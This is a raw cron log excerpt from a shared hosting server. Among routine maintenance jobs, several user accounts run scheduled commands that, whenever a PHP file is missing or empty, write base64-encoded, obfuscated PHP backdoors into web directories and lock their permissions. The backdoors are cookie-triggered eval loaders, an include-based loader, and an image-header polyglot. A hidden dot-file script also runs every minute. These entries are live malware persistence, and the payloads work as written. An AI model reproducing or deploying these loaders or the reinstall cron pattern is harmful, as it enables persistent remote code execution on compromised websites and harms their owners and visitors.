Mar  1 10:56:01 medusa CROND[2053]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:57:01 medusa CROND[24443]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:57:01 medusa CROND[24444]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 10:57:01 medusa CROND[24445]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:57:01 medusa CROND[24446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:57:01 medusa CROND[24447]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:57:01 medusa CROND[24448]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:57:01 medusa CROND[24450]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:57:01 medusa CROND[24452]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:57:01 medusa CROND[24454]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:57:01 medusa CROND[24456]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:57:01 medusa CROND[24457]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:57:01 medusa CROND[24459]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:58:01 medusa CROND[14853]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:58:01 medusa CROND[14948]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 10:58:01 medusa CROND[14949]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 10:58:01 medusa CROND[14955]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 10:58:01 medusa CROND[14954]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:58:01 medusa CROND[14956]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:58:01 medusa CROND[14958]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 10:58:01 medusa CROND[14959]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:58:01 medusa CROND[14957]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 10:58:01 medusa CROND[14960]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:58:01 medusa CROND[14961]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 10:58:01 medusa CROND[14963]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:58:01 medusa CROND[14962]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 10:58:01 medusa CROND[14968]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:59:01 medusa CROND[5106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 10:59:01 medusa CROND[5143]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 10:59:01 medusa CROND[5144]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 10:59:01 medusa CROND[5145]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 10:59:01 medusa CROND[5147]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
